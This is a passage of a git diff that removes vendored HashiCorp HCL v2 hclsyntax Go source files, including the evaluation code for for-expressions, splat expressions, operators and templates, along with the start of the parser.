Expression: e.CondExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - if !include.IsKnown() { - known = false - continue - } - - if include.False() { - // Skip this element - continue - } - } - - keyRaw, keyDiags := e.KeyExpr.Value(childCtx) - diags = append(diags, keyDiags...) - if keyRaw.IsNull() { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid object key", - Detail: "Key expression in 'for' expression must not produce a null value.", - Subject: e.KeyExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.KeyExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - if !keyRaw.IsKnown() { - known = false - continue - } - - key, err := convert.Convert(keyRaw, cty.String) - if err != nil { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid object key", - Detail: fmt.Sprintf("The key expression produced an invalid result: %s.", err.Error()), - Subject: e.KeyExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.KeyExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - - val, valDiags := e.ValExpr.Value(childCtx) - diags = append(diags, valDiags...) - - if e.Group { - k := key.AsString() - groupVals[k] = append(groupVals[k], val) - } else { - k := key.AsString() - if _, exists := vals[k]; exists { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Duplicate object key", - Detail: fmt.Sprintf( - "Two different items produced the key %q in this 'for' expression. If duplicates are expected, use the ellipsis (...) after the value expression to enable grouping by key.", - k, - ), - Subject: e.KeyExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.KeyExpr, - EvalContext: childCtx, - }) - } else { - vals[key.AsString()] = val - } - } - } - - if !known { - return cty.DynamicVal, diags - } - - if e.Group { - vals = map[string]cty.Value{} - for k, gvs := range groupVals { - vals[k] = cty.TupleVal(gvs) - } - } - - return cty.ObjectVal(vals), diags - - } else { - // Producing a tuple - vals := []cty.Value{} - - it := collVal.ElementIterator() - - known := true - for it.Next() { - k, v := it.Element() - childCtx := ctx.NewChild() - childCtx.Variables = map[string]cty.Value{} - if e.KeyVar != "" { - childCtx.Variables[e.KeyVar] = k - } - childCtx.Variables[e.ValVar] = v - - if e.CondExpr != nil { - includeRaw, condDiags := e.CondExpr.Value(childCtx) - diags = append(diags, condDiags...) - if includeRaw.IsNull() { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' condition", - Detail: "The value of the 'if' clause must not be null.", - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CondExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - if !includeRaw.IsKnown() { - // We will eventually return DynamicVal, but we'll continue - // iterating in case there are other diagnostics to gather - // for later elements. - known = false - continue - } - - include, err := convert.Convert(includeRaw, cty.Bool) - if err != nil { - if known { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' condition", - Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), - Subject: e.CondExpr.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.CondExpr, - EvalContext: childCtx, - }) - } - known = false - continue - } - - if include.False() { - // Skip this element - continue - } - } - - val, valDiags := e.ValExpr.Value(childCtx) - diags = append(diags, valDiags...) - vals = append(vals, val) - } - - if !known { - return cty.DynamicVal, diags - } - - return cty.TupleVal(vals), diags - } -} - -func (e *ForExpr) walkChildNodes(w internalWalkFunc) { - w(e.CollExpr) - - scopeNames := map[string]struct{}{} - if e.KeyVar != "" { - scopeNames[e.KeyVar] = struct{}{} - } - if e.ValVar != "" { - scopeNames[e.ValVar] = struct{}{} - } - - if e.KeyExpr != nil { - w(ChildScope{ - LocalNames: scopeNames, - Expr: e.KeyExpr, - }) - } - w(ChildScope{ - LocalNames: scopeNames, - Expr: e.ValExpr, - }) - if e.CondExpr != nil { - w(ChildScope{ - LocalNames: scopeNames, - Expr: e.CondExpr, - }) - } -} - -func (e *ForExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *ForExpr) StartRange() hcl.Range { - return e.OpenRange -} - -type SplatExpr struct { - Source Expression - Each Expression - Item *AnonSymbolExpr - - SrcRange hcl.Range - MarkerRange hcl.Range -} - -func (e *SplatExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - sourceVal, diags := e.Source.Value(ctx) - if diags.HasErrors() { - // We'll evaluate our "Each" expression here just to see if it - // produces any more diagnostics we can report. Since we're not - // assigning a value to our AnonSymbolExpr here it will return - // DynamicVal, which should short-circuit any use of it. - _, itemDiags := e.Item.Value(ctx) - diags = append(diags, itemDiags...) - return cty.DynamicVal, diags - } - - sourceTy := sourceVal.Type() - if sourceTy == cty.DynamicPseudoType { - // If we don't even know the _type_ of our source value yet then - // we'll need to defer all processing, since we can't decide our - // result type either. - return cty.DynamicVal, diags - } - - // A "special power" of splat expressions is that they can be applied - // both to tuples/lists and to other values, and in the latter case - // the value will be treated as an implicit single-item tuple, or as - // an empty tuple if the value is null. - autoUpgrade := !(sourceTy.IsTupleType() || sourceTy.IsListType() || sourceTy.IsSetType()) - - if sourceVal.IsNull() { - if autoUpgrade { - return cty.EmptyTupleVal, diags - } - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Splat of null value", - Detail: "Splat expressions (with the * symbol) cannot be applied to null sequences.", - Subject: e.Source.Range().Ptr(), - Context: hcl.RangeBetween(e.Source.Range(), e.MarkerRange).Ptr(), - Expression: e.Source, - EvalContext: ctx, - }) - return cty.DynamicVal, diags - } - - if autoUpgrade { - sourceVal = cty.TupleVal([]cty.Value{sourceVal}) - sourceTy = sourceVal.Type() - } - - // We'll compute our result type lazily if we need it. In the normal case - // it's inferred automatically from the value we construct. - resultTy := func() (cty.Type, hcl.Diagnostics) { - chiCtx := ctx.NewChild() - var diags hcl.Diagnostics - switch { - case sourceTy.IsListType() || sourceTy.IsSetType(): - ety := sourceTy.ElementType() - e.Item.setValue(chiCtx, cty.UnknownVal(ety)) - val, itemDiags := e.Each.Value(chiCtx) - diags = append(diags, itemDiags...) - e.Item.clearValue(chiCtx) // clean up our temporary value - return cty.List(val.Type()), diags - case sourceTy.IsTupleType(): - etys := sourceTy.TupleElementTypes() - resultTys := make([]cty.Type, 0, len(etys)) - for _, ety := range etys { - e.Item.setValue(chiCtx, cty.UnknownVal(ety)) - val, itemDiags := e.Each.Value(chiCtx) - diags = append(diags, itemDiags...) - e.Item.clearValue(chiCtx) // clean up our temporary value - resultTys = append(resultTys, val.Type()) - } - return cty.Tuple(resultTys), diags - default: - // Should never happen because of our promotion to list above. - return cty.DynamicPseudoType, diags - } - } - - if !sourceVal.IsKnown() { - // We can't produce a known result in this case, but we'll still - // indicate what the result type would be, allowing any downstream type - // checking to proceed. - ty, tyDiags := resultTy() - diags = append(diags, tyDiags...) - return cty.UnknownVal(ty), diags - } - - vals := make([]cty.Value, 0, sourceVal.LengthInt()) - it := sourceVal.ElementIterator() - if ctx == nil { - // we need a context to use our AnonSymbolExpr, so we'll just - // make an empty one here to use as a placeholder. - ctx = ctx.NewChild() - } - isKnown := true - for it.Next() { - _, sourceItem := it.Element() - e.Item.setValue(ctx, sourceItem) - newItem, itemDiags := e.Each.Value(ctx) - diags = append(diags, itemDiags...) - if itemDiags.HasErrors() { - isKnown = false - } - vals = append(vals, newItem) - } - e.Item.clearValue(ctx) // clean up our temporary value - - if !isKnown { - // We'll ingore the resultTy diagnostics in this case since they - // will just be the same errors we saw while iterating above. - ty, _ := resultTy() - return cty.UnknownVal(ty), diags - } - - switch { - case sourceTy.IsListType() || sourceTy.IsSetType(): - if len(vals) == 0 { - ty, tyDiags := resultTy() - diags = append(diags, tyDiags...) - return cty.ListValEmpty(ty.ElementType()), diags - } - return cty.ListVal(vals), diags - default: - return cty.TupleVal(vals), diags - } -} - -func (e *SplatExpr) walkChildNodes(w internalWalkFunc) { - w(e.Source) - w(e.Each) -} - -func (e *SplatExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *SplatExpr) StartRange() hcl.Range { - return e.MarkerRange -} - -// AnonSymbolExpr is used as a placeholder for a value in an expression that -// can be applied dynamically to any value at runtime. -// -// This is a rather odd, synthetic expression. It is used as part of the -// representation of splat expressions as a placeholder for the current item -// being visited in the splat evaluation. -// -// AnonSymbolExpr cannot be evaluated in isolation. If its Value is called -// directly then cty.DynamicVal will be returned. Instead, it is evaluated -// in terms of another node (i.e. a splat expression) which temporarily -// assigns it a value. -type AnonSymbolExpr struct { - SrcRange hcl.Range - - // values and its associated lock are used to isolate concurrent - // evaluations of a symbol from one another. It is the calling application's - // responsibility to ensure that the same splat expression is not evalauted - // concurrently within the _same_ EvalContext, but it is fine and safe to - // do cuncurrent evaluations with distinct EvalContexts. - values map[*hcl.EvalContext]cty.Value - valuesLock sync.RWMutex -} - -func (e *AnonSymbolExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - if ctx == nil { - return cty.DynamicVal, nil - } - - e.valuesLock.RLock() - defer e.valuesLock.RUnlock() - - val, exists := e.values[ctx] - if !exists { - return cty.DynamicVal, nil - } - return val, nil -} - -// setValue sets a temporary local value for the expression when evaluated -// in the given context, which must be non-nil. -func (e *AnonSymbolExpr) setValue(ctx *hcl.EvalContext, val cty.Value) { - e.valuesLock.Lock() - defer e.valuesLock.Unlock() - - if e.values == nil { - e.values = make(map[*hcl.EvalContext]cty.Value) - } - if ctx == nil { - panic("can't setValue for a nil EvalContext") - } - e.values[ctx] = val -} - -func (e *AnonSymbolExpr) clearValue(ctx *hcl.EvalContext) { - e.valuesLock.Lock() - defer e.valuesLock.Unlock() - - if e.values == nil { - return - } - if ctx == nil { - panic("can't clearValue for a nil EvalContext") - } - delete(e.values, ctx) -} - -func (e *AnonSymbolExpr) walkChildNodes(w internalWalkFunc) { - // AnonSymbolExpr is a leaf node in the tree -} - -func (e *AnonSymbolExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *AnonSymbolExpr) StartRange() hcl.Range { - return e.SrcRange -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_ops.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_ops.go deleted file mode 100644 index c1db0cecc8..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_ops.go +++ /dev/null @@ -1,268 +0,0 @@ -package hclsyntax - -import ( - "fmt" - - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/function/stdlib" -) - -type Operation struct { - Impl function.Function - Type cty.Type -} - -var ( - OpLogicalOr = &Operation{ - Impl: stdlib.OrFunc, - Type: cty.Bool, - } - OpLogicalAnd = &Operation{ - Impl: stdlib.AndFunc, - Type: cty.Bool, - } - OpLogicalNot = &Operation{ - Impl: stdlib.NotFunc, - Type: cty.Bool, - } - - OpEqual = &Operation{ - Impl: stdlib.EqualFunc, - Type: cty.Bool, - } - OpNotEqual = &Operation{ - Impl: stdlib.NotEqualFunc, - Type: cty.Bool, - } - - OpGreaterThan = &Operation{ - Impl: stdlib.GreaterThanFunc, - Type: cty.Bool, - } - OpGreaterThanOrEqual = &Operation{ - Impl: stdlib.GreaterThanOrEqualToFunc, - Type: cty.Bool, - } - OpLessThan = &Operation{ - Impl: stdlib.LessThanFunc, - Type: cty.Bool, - } - OpLessThanOrEqual = &Operation{ - Impl: stdlib.LessThanOrEqualToFunc, - Type: cty.Bool, - } - - OpAdd = &Operation{ - Impl: stdlib.AddFunc, - Type: cty.Number, - } - OpSubtract = &Operation{ - Impl: stdlib.SubtractFunc, - Type: cty.Number, - } - OpMultiply = &Operation{ - Impl: stdlib.MultiplyFunc, - Type: cty.Number, - } - OpDivide = &Operation{ - Impl: stdlib.DivideFunc, - Type: cty.Number, - } - OpModulo = &Operation{ - Impl: stdlib.ModuloFunc, - Type: cty.Number, - } - OpNegate = &Operation{ - Impl: stdlib.NegateFunc, - Type: cty.Number, - } -) - -var binaryOps []map[TokenType]*Operation - -func init() { - // This operation table maps from the operator's token type - // to the AST operation type. All expressions produced from - // binary operators are BinaryOp nodes. - // - // Binary operator groups are listed in order of precedence, with - // the *lowest* precedence first. Operators within the same group - // have left-to-right associativity. - binaryOps = []map[TokenType]*Operation{ - { - TokenOr: OpLogicalOr, - }, - { - TokenAnd: OpLogicalAnd, - }, - { - TokenEqualOp: OpEqual, - TokenNotEqual: OpNotEqual, - }, - { - TokenGreaterThan: OpGreaterThan, - TokenGreaterThanEq: OpGreaterThanOrEqual, - TokenLessThan: OpLessThan, - TokenLessThanEq: OpLessThanOrEqual, - }, - { - TokenPlus: OpAdd, - TokenMinus: OpSubtract, - }, - { - TokenStar: OpMultiply, - TokenSlash: OpDivide, - TokenPercent: OpModulo, - }, - } -} - -type BinaryOpExpr struct { - LHS Expression - Op *Operation - RHS Expression - - SrcRange hcl.Range -} - -func (e *BinaryOpExpr) walkChildNodes(w internalWalkFunc) { - w(e.LHS) - w(e.RHS) -} - -func (e *BinaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - impl := e.Op.Impl // assumed to be a function taking exactly two arguments - params := impl.Params() - lhsParam := params[0] - rhsParam := params[1] - - var diags hcl.Diagnostics - - givenLHSVal, lhsDiags := e.LHS.Value(ctx) - givenRHSVal, rhsDiags := e.RHS.Value(ctx) - diags = append(diags, lhsDiags...) - diags = append(diags, rhsDiags...) - - lhsVal, err := convert.Convert(givenLHSVal, lhsParam.Type) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid operand", - Detail: fmt.Sprintf("Unsuitable value for left operand: %s.", err), - Subject: e.LHS.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.LHS, - EvalContext: ctx, - }) - } - rhsVal, err := convert.Convert(givenRHSVal, rhsParam.Type) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid operand", - Detail: fmt.Sprintf("Unsuitable value for right operand: %s.", err), - Subject: e.RHS.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.RHS, - EvalContext: ctx, - }) - } - - if diags.HasErrors() { - // Don't actually try the call if we have errors already, since the - // this will probably just produce a confusing duplicative diagnostic. - return cty.UnknownVal(e.Op.Type), diags - } - - args := []cty.Value{lhsVal, rhsVal} - result, err := impl.Call(args) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - // FIXME: This diagnostic is useless. - Severity: hcl.DiagError, - Summary: "Operation failed", - Detail: fmt.Sprintf("Error during operation: %s.", err), - Subject: &e.SrcRange, - Expression: e, - EvalContext: ctx, - }) - return cty.UnknownVal(e.Op.Type), diags - } - - return result, diags -} - -func (e *BinaryOpExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *BinaryOpExpr) StartRange() hcl.Range { - return e.LHS.StartRange() -} - -type UnaryOpExpr struct { - Op *Operation - Val Expression - - SrcRange hcl.Range - SymbolRange hcl.Range -} - -func (e *UnaryOpExpr) walkChildNodes(w internalWalkFunc) { - w(e.Val) -} - -func (e *UnaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - impl := e.Op.Impl // assumed to be a function taking exactly one argument - params := impl.Params() - param := params[0] - - givenVal, diags := e.Val.Value(ctx) - - val, err := convert.Convert(givenVal, param.Type) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid operand", - Detail: fmt.Sprintf("Unsuitable value for unary operand: %s.", err), - Subject: e.Val.Range().Ptr(), - Context: &e.SrcRange, - Expression: e.Val, - EvalContext: ctx, - }) - } - - if diags.HasErrors() { - // Don't actually try the call if we have errors already, since the - // this will probably just produce a confusing duplicative diagnostic. - return cty.UnknownVal(e.Op.Type), diags - } - - args := []cty.Value{val} - result, err := impl.Call(args) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - // FIXME: This diagnostic is useless. - Severity: hcl.DiagError, - Summary: "Operation failed", - Detail: fmt.Sprintf("Error during operation: %s.", err), - Subject: &e.SrcRange, - Expression: e, - EvalContext: ctx, - }) - return cty.UnknownVal(e.Op.Type), diags - } - - return result, diags -} - -func (e *UnaryOpExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *UnaryOpExpr) StartRange() hcl.Range { - return e.SymbolRange -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_template.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_template.go deleted file mode 100644 index 9d425115f9..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_template.go +++ /dev/null @@ -1,220 +0,0 @@ -package hclsyntax - -import ( - "bytes" - "fmt" - - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" -) - -type TemplateExpr struct { - Parts []Expression - - SrcRange hcl.Range -} - -func (e *TemplateExpr) walkChildNodes(w internalWalkFunc) { - for _, part := range e.Parts { - w(part) - } -} - -func (e *TemplateExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - buf := &bytes.Buffer{} - var diags hcl.Diagnostics - isKnown := true - - for _, part := range e.Parts { - partVal, partDiags := part.Value(ctx) - diags = append(diags, partDiags...) - - if partVal.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template interpolation value", - Detail: fmt.Sprintf( - "The expression result is null. Cannot include a null value in a string template.", - ), - Subject: part.Range().Ptr(), - Context: &e.SrcRange, - Expression: part, - EvalContext: ctx, - }) - continue - } - - if !partVal.IsKnown() { - // If any part is unknown then the result as a whole must be - // unknown too. We'll keep on processing the rest of the parts - // anyway, because we want to still emit any diagnostics resulting - // from evaluating those. - isKnown = false - continue - } - - strVal, err := convert.Convert(partVal, cty.String) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template interpolation value", - Detail: fmt.Sprintf( - "Cannot include the given value in a string template: %s.", - err.Error(), - ), - Subject: part.Range().Ptr(), - Context: &e.SrcRange, - Expression: part, - EvalContext: ctx, - }) - continue - } - - buf.WriteString(strVal.AsString()) - } - - if !isKnown { - return cty.UnknownVal(cty.String), diags - } - - return cty.StringVal(buf.String()), diags -} - -func (e *TemplateExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *TemplateExpr) StartRange() hcl.Range { - return e.Parts[0].StartRange() -} - -// IsStringLiteral returns true if and only if the template consists only of -// single string literal, as would be created for a simple quoted string like -// "foo". -// -// If this function returns true, then calling Value on the same expression -// with a nil EvalContext will return the literal value. -// -// Note that "${"foo"}", "${1}", etc aren't considered literal values for the -// purposes of this method, because the intent of this method is to identify -// situations where the user seems to be explicitly intending literal string -// interpretation, not situations that result in literals as a technicality -// of the template expression unwrapping behavior. -func (e *TemplateExpr) IsStringLiteral() bool { - if len(e.Parts) != 1 { - return false - } - _, ok := e.Parts[0].(*LiteralValueExpr) - return ok -} - -// TemplateJoinExpr is used to convert tuples of strings produced by template -// constructs (i.e. for loops) into flat strings, by converting the values -// tos strings and joining them. This AST node is not used directly; it's -// produced as part of the AST of a "for" loop in a template. -type TemplateJoinExpr struct { - Tuple Expression -} - -func (e *TemplateJoinExpr) walkChildNodes(w internalWalkFunc) { - w(e.Tuple) -} - -func (e *TemplateJoinExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - tuple, diags := e.Tuple.Value(ctx) - - if tuple.IsNull() { - // This indicates a bug in the code that constructed the AST. - panic("TemplateJoinExpr got null tuple") - } - if tuple.Type() == cty.DynamicPseudoType { - return cty.UnknownVal(cty.String), diags - } - if !tuple.Type().IsTupleType() { - // This indicates a bug in the code that constructed the AST. - panic("TemplateJoinExpr got non-tuple tuple") - } - if !tuple.IsKnown() { - return cty.UnknownVal(cty.String), diags - } - - buf := &bytes.Buffer{} - it := tuple.ElementIterator() - for it.Next() { - _, val := it.Element() - - if val.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template interpolation value", - Detail: fmt.Sprintf( - "An iteration result is null. Cannot include a null value in a string template.", - ), - Subject: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }) - continue - } - if val.Type() == cty.DynamicPseudoType { - return cty.UnknownVal(cty.String), diags - } - strVal, err := convert.Convert(val, cty.String) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template interpolation value", - Detail: fmt.Sprintf( - "Cannot include one of the interpolation results into the string template: %s.", - err.Error(), - ), - Subject: e.Range().Ptr(), - Expression: e, - EvalContext: ctx, - }) - continue - } - if !val.IsKnown() { - return cty.UnknownVal(cty.String), diags - } - - buf.WriteString(strVal.AsString()) - } - - return cty.StringVal(buf.String()), diags -} - -func (e *TemplateJoinExpr) Range() hcl.Range { - return e.Tuple.Range() -} - -func (e *TemplateJoinExpr) StartRange() hcl.Range { - return e.Tuple.StartRange() -} - -// TemplateWrapExpr is used instead of a TemplateExpr when a template -// consists _only_ of a single interpolation sequence. In that case, the -// template's result is the single interpolation's result, verbatim with -// no type conversions. -type TemplateWrapExpr struct { - Wrapped Expression - - SrcRange hcl.Range -} - -func (e *TemplateWrapExpr) walkChildNodes(w internalWalkFunc) { - w(e.Wrapped) -} - -func (e *TemplateWrapExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - return e.Wrapped.Value(ctx) -} - -func (e *TemplateWrapExpr) Range() hcl.Range { - return e.SrcRange -} - -func (e *TemplateWrapExpr) StartRange() hcl.Range { - return e.SrcRange -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_vars.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_vars.go deleted file mode 100644 index a82bf790eb..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/expression_vars.go +++ /dev/null @@ -1,76 +0,0 @@ -package hclsyntax - -// Generated by expression_vars_get.go. DO NOT EDIT. -// Run 'go generate' on this package to update the set of functions here. - -import ( - "github.com/hashicorp/hcl/v2" -) - -func (e *AnonSymbolExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *BinaryOpExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *ConditionalExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *ForExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *FunctionCallExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *IndexExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *LiteralValueExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *ObjectConsExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *ObjectConsKeyExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *RelativeTraversalExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *ScopeTraversalExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *SplatExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *TemplateExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *TemplateJoinExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *TemplateWrapExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *TupleConsExpr) Variables() []hcl.Traversal { - return Variables(e) -} - -func (e *UnaryOpExpr) Variables() []hcl.Traversal { - return Variables(e) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/file.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/file.go deleted file mode 100644 index f55e9ce2c2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/file.go +++ /dev/null @@ -1,20 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" -) - -// File is the top-level object resulting from parsing a configuration file. -type File struct { - Body *Body - Bytes []byte -} - -func (f *File) AsHCLFile() *hcl.File { - return &hcl.File{ - Body: f.Body, - Bytes: f.Bytes, - - // TODO: The Nav object, once we have an implementation of it - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/generate.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/generate.go deleted file mode 100644 index 841656a6a1..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/generate.go +++ /dev/null @@ -1,9 +0,0 @@ -package hclsyntax - -//go:generate go run expression_vars_gen.go -//go:generate ruby unicode2ragel.rb --url=http://www.unicode.org/Public/9.0.0/ucd/DerivedCoreProperties.txt -m UnicodeDerived -p ID_Start,ID_Continue -o unicode_derived.rl -//go:generate ragel -Z scan_tokens.rl -//go:generate gofmt -w scan_tokens.go -//go:generate ragel -Z scan_string_lit.rl -//go:generate gofmt -w scan_string_lit.go -//go:generate stringer -type TokenType -output token_type_string.go diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/keywords.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/keywords.go deleted file mode 100644 index eef8b9626c..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/keywords.go +++ /dev/null @@ -1,21 +0,0 @@ -package hclsyntax - -import ( - "bytes" -) - -type Keyword []byte - -var forKeyword = Keyword([]byte{'f', 'o', 'r'}) -var inKeyword = Keyword([]byte{'i', 'n'}) -var ifKeyword = Keyword([]byte{'i', 'f'}) -var elseKeyword = Keyword([]byte{'e', 'l', 's', 'e'}) -var endifKeyword = Keyword([]byte{'e', 'n', 'd', 'i', 'f'}) -var endforKeyword = Keyword([]byte{'e', 'n', 'd', 'f', 'o', 'r'}) - -func (kw Keyword) TokenMatches(token Token) bool { - if token.Type != TokenIdent { - return false - } - return bytes.Equal([]byte(kw), token.Bytes) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/navigation.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/navigation.go deleted file mode 100644 index af98ef0451..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/navigation.go +++ /dev/null @@ -1,59 +0,0 @@ -package hclsyntax - -import ( - "bytes" - "fmt" - - "github.com/hashicorp/hcl/v2" -) - -type navigation struct { - root *Body -} - -// Implementation of hcled.ContextString -func (n navigation) ContextString(offset int) string { - // We will walk our top-level blocks until we find one that contains - // the given offset, and then construct a representation of the header - // of the block. - - var block *Block - for _, candidate := range n.root.Blocks { - if candidate.Range().ContainsOffset(offset) { - block = candidate - break - } - } - - if block == nil { - return "" - } - - if len(block.Labels) == 0 { - // Easy case! - return block.Type - } - - buf := &bytes.Buffer{} - buf.WriteString(block.Type) - for _, label := range block.Labels { - fmt.Fprintf(buf, " %q", label) - } - return buf.String() -} - -func (n navigation) ContextDefRange(offset int) hcl.Range { - var block *Block - for _, candidate := range n.root.Blocks { - if candidate.Range().ContainsOffset(offset) { - block = candidate - break - } - } - - if block == nil { - return hcl.Range{} - } - - return block.DefRange() -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/node.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/node.go deleted file mode 100644 index 41b35e53f8..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/node.go +++ /dev/null @@ -1,22 +0,0 @@ -package hclsyntax - -import ( - "github.com/hashicorp/hcl/v2" -) - -// Node is the abstract type that every AST node implements. -// -// This is a closed interface, so it cannot be implemented from outside of -// this package. -type Node interface { - // This is the mechanism by which the public-facing walk functions - // are implemented. Implementations should call the given function - // for each child node and then replace that node with its return value. - // The return value might just be the same node, for non-transforming - // walks. - walkChildNodes(w internalWalkFunc) - - Range() hcl.Range -} - -type internalWalkFunc func(Node) diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser.go deleted file mode 100644 index 858bb7c2c7..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser.go +++ /dev/null @@ -1,2056 +0,0 @@ -package hclsyntax - -import ( - "bytes" - "fmt" - "strconv" - "unicode/utf8" - - "github.com/apparentlymart/go-textseg/v12/textseg" - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -type parser struct { - *peeker - - // set to true if any recovery is attempted. The parser can use this - // to attempt to reduce error noise by suppressing "bad token" errors - // in recovery mode, assuming that the recovery heuristics have failed - // in this case and left the peeker in a wrong place. - recovery bool -} - -func (p *parser) ParseBody(end TokenType) (*Body, hcl.Diagnostics) { - attrs := Attributes{} - blocks := Blocks{} - var diags hcl.Diagnostics - - startRange := p.PrevRange() - var endRange hcl.Range - -Token: - for { - next := p.Peek() - if next.Type == end { - endRange = p.NextRange() - p.Read() - break Token - } - - switch next.Type { - case TokenNewline: - p.Read() - continue - case TokenIdent: - item, itemDiags := p.ParseBodyItem() - diags = append(diags, itemDiags...) - switch titem := item.(type) { - case *Block: - blocks = append(blocks, titem) - case *Attribute: - if existing, exists := attrs[titem.Name]; exists { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Attribute redefined", - Detail: fmt.Sprintf( - "The argument %q was already set at %s. Each argument may be set only once.", - titem.Name, existing.NameRange.String(), - ), - Subject: &titem.NameRange, - }) - } else { - attrs[titem.Name] = titem - } - default: - // This should never happen for valid input, but may if a - // syntax error was detected in ParseBodyItem that prevented - // it from even producing a partially-broken item. In that - // case, it would've left at least one error in the diagnostics - // slice we already dealt with above. - // - // We'll assume ParseBodyItem attempted recovery to leave - // us in a reasonable position to try parsing the next item. - continue - } - default: - bad := p.Read() - if !p.recovery { - if bad.Type == TokenOQuote { - diags = 